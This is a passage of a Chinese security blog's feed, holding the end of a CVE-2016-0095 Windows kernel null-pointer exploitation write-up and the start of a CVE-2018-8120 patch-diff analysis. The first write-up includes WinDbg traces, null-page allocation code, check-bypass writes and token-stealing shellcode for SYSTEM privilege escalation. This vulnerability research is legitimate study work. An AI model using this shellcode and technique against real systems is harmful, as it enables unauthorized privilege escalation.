00000000 00000001</span><br><span class="line">fdad0e14  00000000 00000000 00000000 00000000</span><br><span class="line">fdad0e24  00000000 00000000 fdad0e2c fdad0e2c</span><br><span class="line">fdad0e34  00000000 00000000 00000000 00000000</span><br></pre></td></tr></table></figure><p>我们现在需要知道这个 +1c 处的内容是什么意思，根据刚才的回溯信息，我们在最外层的<code>win32k!NtGdiFillRgn+0x339</code>的前一句，也就是调用<code>EngPaint</code>之前下断点观察堆栈情况</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line">0: kd&gt; u win32k!NtGdiFillRgn+0x334</span><br><span class="line">win32k!NtGdiFillRgn+0x334:</span><br><span class="line">95e3bb98 e8fafaffff      call    win32k!EngPaint (95e3b697)</span><br><span class="line">95e3bb9d 897dfc          mov     dword ptr [ebp-4],edi</span><br><span class="line">95e3bba0 8d4dc4          lea     ecx,[ebp-3Ch]</span><br><span class="line">95e3bba3 e882000000      call    win32k!BRUSHSELOBJ::vDecShareRefCntLazy0 (95e3bc2a)</span><br><span class="line">95e3bba8 8d4dc4          lea     ecx,[ebp-3Ch]</span><br><span class="line">95e3bbab e8258ff7ff      call    win32k!BRUSHSELOBJ::~BRUSHSELOBJ (95db4ad5)</span><br><span class="line">95e3bbb0 8d8dd8feffff    lea     ecx,[ebp-128h]</span><br><span class="line">95e3bbb6 e8d508f9ff      call    win32k!EBRUSHOBJ::vDelete (95dcc490)</span><br><span class="line">0: kd&gt; ba e1 win32k!NtGdiFillRgn+0x334</span><br><span class="line">0: kd&gt; g</span><br><span class="line">Breakpoint 1 hit</span><br><span class="line">win32k!NtGdiFillRgn+0x334:</span><br><span class="line">95e3bb98 e8fafaffff      call    win32k!EngPaint (95e3b697)</span><br><span class="line">0: kd&gt; dd esp</span><br><span class="line">97ffaa5c  fdeac018 97ffaa7c 97ffaaf8 fda86d60</span><br><span class="line">97ffaa6c  00000d0d 1c010886 0016fe9c 95e3b864</span><br><span class="line">97ffaa7c  00023300 00000000 00000000 00000008</span><br><span class="line">97ffaa8c  00000008 00000001 83e7bf6b 842188ea</span><br><span class="line">97ffaa9c  00cff155 00000000 00000000 00026161</span><br><span class="line">97ffaaac  fe9c3008 97ffab7c 97ffaafc 00010001</span><br><span class="line">97ffaabc  87051c35 00000000 00000000 0003767c</span><br><span class="line">97ffaacc  00000000 0003767c 00000000 00026161</span><br></pre></td></tr></table></figure><p><code>EngPaint</code>函数参数信息如下</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">int</span> __<span class="function">stdcall <span class="title">EngPaint</span><span class="params">(struct _SURFOBJ *a1, <span class="keyword">int</span> a2, struct _BRUSHOBJ *a3, struct _POINTL *a4, <span class="keyword">unsigned</span> <span class="keyword">int</span> a5)</span></span></span><br></pre></td></tr></table></figure><p>根据参数信息我们可以得到下面这两个关键参数</p><ul><li>_SURFOBJ    =&gt; fdeac018</li><li>_BRUSHOBJ =&gt; 97ffaaf8</li></ul><p>我们在<code>bGetRealizedBrush</code>处下断，找到这两个参数的位置，根据计算由<code>_BRUSHOBJ</code>推出了<code>_SURFOBJ</code>  </p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br></pre></td><td class="code"><pre><span class="line">3: kd&gt; ba e1 win32k!bGetRealizedBrush</span><br><span class="line">3: kd&gt; g</span><br><span class="line">Breakpoint 2 hit</span><br><span class="line">win32k!bGetRealizedBrush:</span><br><span class="line">95d40528 8bff            mov     edi,edi</span><br><span class="line">3: kd&gt; r</span><br><span class="line">eax=fdb436e0 ebx=00000000 ecx=00000001 edx=00000000 esi=97ffaaf8 edi=fdeac008</span><br><span class="line">eip=95d40528 esp=97ffa9a4 ebp=97ffa9b8 iopl=0         nv up ei pl zr na pe nc</span><br><span class="line">cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00000246</span><br><span class="line">win32k!bGetRealizedBrush:</span><br><span class="line">95d40528 8bff            mov     edi,edi</span><br><span class="line">3: kd&gt; dd esp</span><br><span class="line">97ffa9a4  95d434af fdb436e0 97ffaaf8 95d3d5a0</span><br><span class="line">97ffa9b4  97ffaaf8 97ffaa1c 95db9b5e 97ffaaf8</span><br><span class="line">97ffa9c4  00000001 97ffaa7c fdeac018 84218cca</span><br><span class="line">97ffa9d4  00d14c9b 97ffa9e8 83e80c61 83e3fd72</span><br><span class="line">97ffa9e4  97ffac20 95e3b697 badb0d00 ffb8e748</span><br><span class="line">97ffa9f4  00000000 95dc3098 95e3b864 95e3bb98</span><br><span class="line">97ffaa04  95d40528 00000000 00004000 00000000</span><br><span class="line">97ffaa14  00000000 00000000 97ffaa54 95e3b6e8</span><br><span class="line">3: kd&gt; dd 97ffaaf8 =&gt; _BRUSHOBJ</span><br><span class="line">97ffaaf8  ffffffff 00000000 00000000 00edfc13</span><br><span class="line">97ffab08  00edfc13 00000000 00000006 00000004</span><br><span class="line">97ffab18  00000000 00ffffff fda867c4 00000000</span><br><span class="line">97ffab28  00000000 fdeac008 ffbff968 ffbffe68</span><br><span class="line">97ffab38  ffa1d3a0 00000006 fdb436e0 00000014</span><br><span class="line">97ffab48  00000312 00000001 ffffffff 83f2ff01</span><br><span class="line">97ffab58  83e78892 97ffab7c 97ffabb0 00000000</span><br><span class="line">97ffab68  97ffac10 84218924 00000000 00000000</span><br><span class="line">3: kd&gt; dd poi(97ffaaf8+34h)+10h =&gt; _SURFOBJ</span><br><span class="line">fdeac018  00000000 1f850931 00000000 00000000</span><br><span class="line">fdeac028  00000008 00000008 00000020 fdeac15c</span><br><span class="line">fdeac038  fdeac15c 00000004 00002296 00000001</span><br><span class="line">fdeac048  02010000 00000000 04000000 00000000</span><br><span class="line">fdeac058  ffbff968 00000000 00000000 00000000</span><br><span class="line">fdeac068  00000000 00000000 00000001 00000000</span><br><span class="line">fdeac078  00000000 00000000 00000000 00000000</span><br><span class="line">fdeac088  00000000 fdeac08c fdeac08c 00000000</span><br></pre></td></tr></table></figure><p>我们在微软官方可以查询到<a href="https://docs.microsoft.com/zh-cn/windows/win32/api/winddi/ns-winddi-surfobj" target="_blank" rel="noopener">_SURFOBJ</a>的结构，总结而言就是<code>_SURFOBJ-&gt;hdev</code>结构为零引用导致蓝屏</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">typedef</span> <span class="class"><span class="keyword">struct</span> _<span class="title">SURFOBJ</span> &#123;</span></span><br><span class="line">  DHSURF dhsurf;</span><br><span class="line">  HSURF  hsurf;</span><br><span class="line">  DHPDEV dhpdev;</span><br><span class="line">  HDEV   hdev;</span><br><span class="line">  SIZEL  sizlBitmap;</span><br><span class="line">  ULONG  cjBits;</span><br><span class="line">  PVOID  pvBits;</span><br><span class="line">  PVOID  pvScan0;</span><br><span class="line">  LONG   lDelta;</span><br><span class="line">  ULONG  iUniq;</span><br><span class="line">  ULONG  iBitmapFormat;</span><br><span class="line">  USHORT iType;</span><br><span class="line">  USHORT fjBitmap;</span><br><span class="line">&#125; SURFOBJ;</span><br></pre></td></tr></table></figure><h1 id="0x02：漏洞利用"><a href="#0x02：漏洞利用" class="headerlink" title="0x02：漏洞利用"></a>0x02：漏洞利用</h1><p>从上面的分析我们知道，漏洞的原理是空指针解引用，利用的话肯定是在零页构造内容从而绕过检验，最后运行我们的ShellCode，我们现在需要在<code>bGetRealizedBrush</code>函数中寻找可以给我们利用的片段，从而达到<code>call ShellCode</code>提权的目的，我们可以在IDA中发现以下可能存在的几个片段</p><ul><li>第一处</li></ul><p><img src="/2019/08/19/CVE-2016-0095-SSCTF Kernel Pwn Learning/3.png" alt></p><ul><li>第二处</li></ul><p><img src="/2019/08/19/CVE-2016-0095-SSCTF Kernel Pwn Learning/1.png" alt="1565692816144"></p><p>看到第二个片段其实第一个片段都可以忽略了，因为[ebp+arg_8]的位置我们是不可以控制的，而第二个片段edi来自[eax+748h]，所以我们是完完全全可以在零页构造这个结构的，我们只需要将[eax+748h]设置为我们shellcode的位置即可达到提权的目的，我们现在的目标已经清楚了，现在就是观察从漏洞触发点到我们 call edi 之间的一些判断，我们需要修改一些判断从而达到运行我们shellcode的目的，我们首先申请零页内存，运行代码查看函数运行轨迹</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">(<span class="keyword">int</span> argc, <span class="keyword">char</span>* argv[])</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">*(FARPROC*)&amp; NtAllocateVirtualMemory = GetProcAddress(</span><br><span class="line">GetModuleHandleW(<span class="string">L"ntdll"</span>),</span><br><span class="line"><span class="string">"NtAllocateVirtualMemory"</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> (NtAllocateVirtualMemory == <span class="literal">NULL</span>)</span><br><span class="line">&#123;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"[+]Failed to get function NtAllocateVirtualMemory!!!\n"</span>);</span><br><span class="line">system(<span class="string">"pause"</span>);</span><br><span class="line"><span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">PVOID Zero_addr = (PVOID)<span class="number">1</span>;</span><br><span class="line">SIZE_T RegionSize = <span class="number">0x1000</span>;</span><br><span class="line"></span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"[+]Started to alloc zero page...\n"</span>);</span><br><span class="line"><span class="keyword">if</span> (!NT_SUCCESS(NtAllocateVirtualMemory(</span><br><span class="line">INVALID_HANDLE_VALUE,</span><br><span class="line">&amp;Zero_addr,</span><br><span class="line"><span class="number">0</span>,</span><br><span class="line">&amp;RegionSize,</span><br><span class="line">MEM_COMMIT | MEM_RESERVE,</span><br><span class="line">PAGE_READWRITE)) || Zero_addr != <span class="literal">NULL</span>)</span><br><span class="line">&#123;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"[+]Failed to alloc zero page!\n"</span>);</span><br><span class="line">system(<span class="string">"pause"</span>);</span><br><span class="line"><span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">Trigger_BSoDPoc();</span><br><span class="line"><span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>我们单步运行可以发现，我们要到黄色区域必须修改第一处判断，不然程序就不会走到我们想要的地方，然而第一处判断我们只需要让[eax+590h]不为零即可，所以构造如下片段</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">*(DWORD*)(<span class="number">0x590</span>) = (DWORD)<span class="number">0x1</span>;</span><br></pre></td></tr></table></figure><p><img src="/2019/08/19/CVE-2016-0095-SSCTF Kernel Pwn Learning/4.png" alt="1565696359992"></p><p>第二处判断类似，就在第一处的右下角</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">*(DWORD*)(<span class="number">0x592</span>) = (DWORD)<span class="number">0x1</span>;</span><br></pre></td></tr></table></figure><p>最后一步就是放上我们的shellcode了，只是在构造的时候我们需要给他四个参数，当然也可以直接在shellcode里平衡堆栈</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">; IDA 里的片段</span><br><span class="line">...</span><br><span class="line">mov     edi, [eax+748h]</span><br><span class="line">...</span><br><span class="line">push    ecx</span><br><span class="line">push    edx</span><br><span class="line">push    [ebp+var_14]</span><br><span class="line">push    eax</span><br><span class="line">call    edi</span><br></pre></td></tr></table></figure><p>所以我们构造如下片段即可</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">int</span> __<span class="function">stdcall <span class="title">ShellCode</span><span class="params">(<span class="keyword">int</span> parameter1,<span class="keyword">int</span> parameter2,<span class="keyword">int</span> parameter3,<span class="keyword">int</span> parameter4)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">_asm</span><br><span class="line">&#123;</span><br><span class="line">pushad</span><br><span class="line">mov eax, fs: [<span class="number">124</span>h]<span class="comment">// Find the _KTHREAD structure for the current thread</span></span><br><span class="line">mov eax, [eax + <span class="number">0x50</span>]   <span class="comment">// Find the _EPROCESS structure</span></span><br><span class="line">mov ecx, eax</span><br><span class="line">mov edx, <span class="number">4</span><span class="comment">// edx = system PID(4)</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// The loop is to get the _EPROCESS of the system</span></span><br><span class="line">find_sys_pid :</span><br><span class="line"> mov eax, [eax + <span class="number">0xb8</span>]<span class="comment">// Find the process activity list</span></span><br><span class="line"> sub eax, <span class="number">0xb8</span>    <span class="comment">// List traversal</span></span><br><span class="line"> cmp[eax + <span class="number">0xb4</span>], edx    <span class="comment">// Determine whether it is SYSTEM based on PID</span></span><br><span class="line"> jnz find_sys_pid</span><br><span class="line"></span><br><span class="line"> <span class="comment">// Replace the Token</span></span><br><span class="line"> mov edx, [eax + <span class="number">0xf8</span>]</span><br><span class="line"> mov[ecx + <span class="number">0xf8</span>], edx</span><br><span class="line"> popad</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line">*(DWORD*)(<span class="number">0x748</span>) = (DWORD)&amp; ShellCode;</span><br></pre></td></tr></table></figure><p>最后整合一下思路：</p><ul><li>申请零页内存</li><li>绕过判断(两处)</li><li>放置shellcode</li><li>调用<code>Trigger_BSoDPoc</code>函数运行shellcode提权</li></ul><p>提权的代码和验证在 =&gt; <a href="https://github.com/ThunderJie/CVE/tree/master/CVE-2016-0095" target="_blank" rel="noopener">这里</a> </p><p><img src="https://xzfile.aliyuncs.com/media/upload/picture/20190813214350-620676ac-bdd0-1.gif" alt="1565696359992"></p><h1 id="0x03：后记"><a href="#0x03：后记" class="headerlink" title="0x03：后记"></a>0x03：后记</h1><p>因为是有Poc构造Exploit，所以我们这里利用起来比较轻松，win 7 x64利用也比较简单，修改相应偏移即可</p><p>参考资料：</p><p>[+] k0shl师傅的分析：<a href="https://whereisk0shl.top/ssctf_pwn450_windows_kernel_exploitation_writeup.html" target="_blank" rel="noopener">https://whereisk0shl.top/ssctf_pwn450_windows_kernel_exploitation_writeup.html</a></p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;h1 id=&quot;0x00：前言&quot;&gt;&lt;a href=&quot;#0x00：前言&quot; class=&quot;headerlink&quot; title=&quot;0x00：前言&quot;&gt;&lt;/a&gt;0x00：前言&lt;/h1&gt;&lt;p&gt;本篇文章从SSCTF中的一道Kernel Pwn题目来分析CVE-2016-0095(MS16-03
      
    
    </summary>
    
      <category term="Windows Kernel" scheme="https://thunderjie.github.io/categories/Windows-Kernel/"/>
    
      <category term="Null Pointer Dereference" scheme="https://thunderjie.github.io/categories/Windows-Kernel/Null-Pointer-Dereference/"/>
    
    
      <category term="Null Pointer Dereference" scheme="https://thunderjie.github.io/tags/Null-Pointer-Dereference/"/>
    
  </entry>
  
  <entry>
    <title>CVE-2018-8120 Windows内核空指针解引用漏洞分析</title>
    <link href="https://thunderjie.github.io/2019/08/17/CVE-2018-8120-Windows%E5%86%85%E6%A0%B8%E7%A9%BA%E6%8C%87%E9%92%88%E8%A7%A3%E5%BC%95%E7%94%A8%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/"/>
    <id>https://thunderjie.github.io/2019/08/17/CVE-2018-8120-Windows内核空指针解引用漏洞分析/</id>
    <published>2019-08-17T14:16:14.000Z</published>
    <updated>2020-05-07T03:26:02.896Z</updated>
    
    <content type="html"><![CDATA[<h1 id="0x00：前言"><a href="#0x00：前言" class="headerlink" title="0x00：前言"></a>0x00：前言</h1><p>2018年5月微软发布了一次安全补丁，其中有一个是对内核空指针解引用的修复，本片文章从补丁对比出发，对该内核漏洞进行分析，对应CVE-2018-8120，实验平台是Windows 7 x86 sp1</p><h1 id="0x01：补丁对比"><a href="#0x01：补丁对比" class="headerlink" title="0x01：补丁对比"></a>0x01：补丁对比</h1><p>对比四月和五月的安全补丁可以定位以下几个关键函数，逐个分析观察可以定位到我们本次分析的的关键函数<code>SetImeInfoEx</code></p><p><img src="/2019/08/17/CVE-2018-8120-Windows内核空指针解引用漏洞分析/1.png" alt="1560868933354"></p><p>可以看到五月的补丁对<code>SetImeInfoEx</code>多了一层检验</p><p><img src="/2019/08/17/CVE-2018-8120-Windows内核空指针解引用漏洞分析/2.png" alt="1560869047048"></p><p>IDA中观察4月补丁反汇编如下，稍微添加了一些注释</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">signed</span> <span class="keyword">int</span> __<span class="function">stdcall <span class="title">SetImeInfoEx</span><span class="params">(<span class="keyword">signed</span> <span class="keyword">int</span> pwinsta, <span class="keyword">const</span> <span class="keyword">void</span> *piiex)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="keyword">signed</span> <span class="keyword">int</span> result; <span class="comment">// eax</span></span><br><span class="line">  <span class="keyword">int</span> v3; <span class="comment">// eax</span></span><br><span class="line">  <span class="keyword">int</span> v4; <span class="comment">// eax</span></span><br><span class="line"></span><br><span class="line">  result = pwinsta;</span><br><span class="line">  <span class="keyword">if</span> ( pwinsta )                                <span class="comment">// 判断 pwinsta 是否为空</span></span><br><span class="line">  &#123;</span><br><span class="line">    v3 = *(_DWORD *)(pwinsta + <span class="number">0x14</span>);           <span class="comment">// 获取 pwinsta + 0x14 处的值,也就是 spkList</span></span><br><span class="line">    <span class="keyword">while</span> ( *(_DWORD *)(v3 + <span class="number">0x14</span>) != *(_DWORD *)piiex )<span class="comment">// 未判断指针内容直接引用,触发空指针解引用漏洞</span></span><br><span class="line">    &#123;</span><br><span class="line">      v3 = *(_DWORD *)(v3 + <span class="number">8</span>);</span><br><span class="line">      <span class="keyword">if</span> ( v3 == *(_DWORD *)(pwinsta + <span class="number">0x14</span>) )</span><br><span class="line">        <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    v4 = *(_DWORD *)(v3 + <span class="number">0x2C</span>);</span><br><span class="line">    <span class="keyword">if</span> ( !v4 )</span><br><span class="line">      <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">    <span class="keyword">if</span> ( !*(_DWORD *)(v4 + <span class="number">0x48</span>) )</span><br><span class="line">      qmemcpy((<span class="keyword">void</span> *)v4, piiex, <span class="number">0x15C</span>u);</span><br><span class="line">    result = <span class="number">1</span>;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> result;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>5月补丁反汇编如下</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">signed</span> <span class="keyword">int</span> __<span class="function">stdcall <span class="title">SetImeInfoEx</span><span class="params">(<span class="keyword">signed</span> <span class="keyword">int</span> pwinsta, <span class="keyword">const</span> <span class="keyword">void</span> *piiex)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="keyword">signed</span> <span class="keyword">int</span> result; <span class="comment">// edx</span></span><br><span class="line">  <span class="keyword">int</span> v3; <span class="comment">// eax</span></span><br><span class="line">  <span class="keyword">int</span> v4; <span class="comment">// eax</span></span><br><span class="line"></span><br><span class="line">  <span class="keyword">if</span> ( !pwinsta )</span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">  result = *(_DWORD *)(pwinsta + <span class="number">0x14</span>);</span><br><span class="line">  <span class="keyword">if</span> ( !result )</span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">  v3 = *(_DWORD *)(pwinsta + <span class="number">0x14</span>);</span><br><span class="line">  <span class="keyword">while</span> ( *(_DWORD *)(v3 + <span class="number">0x14</span>) != *(_DWORD *)piiex )</span><br><span class="line">  &#123;</span><br><span class="line">    v3 = *(_DWORD *)(v3 + <span class="number">8</span>);</span><br><span class="line">    <span class="keyword">if</span> ( v3 == result )</span><br><span class="line">      <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">  &#125;</span><br><span class="line">  v4 = *(_DWORD *)(v3 + <span class="number">0x2C</span>);</span><br><span class="line">  <span class="keyword">if</span> ( !v4 )</span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">  <span class="keyword">if</span> ( !*(_DWORD *)(v4 + <span class="number">0x48</span>) )</span><br><span class="line">    qmemcpy((<span class="keyword">void</span> *)v4, piiex, <span class="number">0x15C</span>u);</span><br><span class="line">  <span class="keyword">return</span> <span class="number">1</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>可以看到五月的补丁对于参数v3是否为零进行了一次检测，我们对比<code>SetImeInfoEx</code>函数的实现发现，也就是多了对成员域 <code>spklList</code>的检测，v3就是我们的<code>spklList</code>，该函数的主要作用是对扩展结构<code>IMEINFO</code>进行设置</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// nt4 源码</span></span><br><span class="line"><span class="comment">/**************************************************************************\</span></span><br><span class="line"><span class="comment">* SetImeInfoEx</span></span><br><span class="line"><span class="comment">*</span></span><br><span class="line"><span class="comment">* Set extended IMEINFO.</span></span><br><span class="line"><span class="comment">*</span></span><br><span class="line"><span class="comment">* History:</span></span><br><span class="line"><span class="comment">* 21-Mar-1996 wkwok       Created</span></span><br><span class="line"><span class="comment">\**************************************************************************/</span></span><br><span class="line"></span><br><span class="line"><span class="function">BOOL <span class="title">SetImeInfoEx</span><span class="params">(</span></span></span><br><span class="line"><span class="function"><span class="params">    PWINDOWSTATION pwinsta,</span></span></span><br><span class="line"><span class="function"><span class="params">    PIMEINFOEX piiex)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    PKL pkl, pklFirst;</span><br><span class="line"></span><br><span class="line">    UserAssert(pwinsta-&gt;spklList != <span class="literal">NULL</span>);</span><br><span class="line"></span><br><span class="line">    pkl = pklFirst = pwinsta-&gt;spklList;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">do</span> &#123;</span><br><span class="line">        <span class="keyword">if</span> (pkl-&gt;hkl == piiex-&gt;hkl) &#123;</span><br><span class="line"></span><br><span class="line">            <span class="comment">/*</span></span><br><span class="line"><span class="comment">             * Error out for non-IME based keyboard layout.</span></span><br><span class="line"><span class="comment">             */</span></span><br><span class="line">            <span class="keyword">if</span> (pkl-&gt;piiex == <span class="literal">NULL</span>)</span><br><span class="line">                <span class="keyword">return</span> FALSE;</span><br><span class="line"></span><br><span class="line">            <span class="comment">/*</span></span><br><span class="line"><span class="comment">             * Update kernel side IMEINFOEX for this keyboard layout</span></span><br><span class="line"><span class="comment">             * only if this is its first loading.</span></span><br><span class="line"><span class="comment">             */</span></span><br><span class="line">            <span class="keyword">if</span> (pkl-&gt;piiex-&gt;fLoadFlag == IMEF_NONLOAD) &#123;</span><br><span class="line">                RtlCopyMemory(pkl-&gt;piiex, piiex, <span class="keyword">sizeof</span>(IMEINFOEX));</span><br><span class="line">            &#125;</span><br><span class="line"></span><br><span class="line">            <span class="keyword">return</span> TRUE;</span><br><span class="line">        &#125;</span><br><span class="line">        pkl = pkl-&gt;pklNext;</span><br><span class="line"></span><br><span class="line">    &#125; <span class="keyword">while</span> (pkl != pklFirst);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> FALSE;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>同样的修复我们可以在<code>ReorderKeyboardLayouts</code>函数中看到，也是对<code>spklList</code>成员域进行了限制</p><p><img src="/2019/08/17/CVE-2018-8120-Windows内核空指针解引用漏洞分析/3.png" alt="1560870519272"></p><p><code>ReorderKeyboardLayouts</code>函数实现如下，可以看到函数也对<code>spklList</code>进行了调用，我们这里主要分析<code>SetImeInfoEx</code>函数</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span 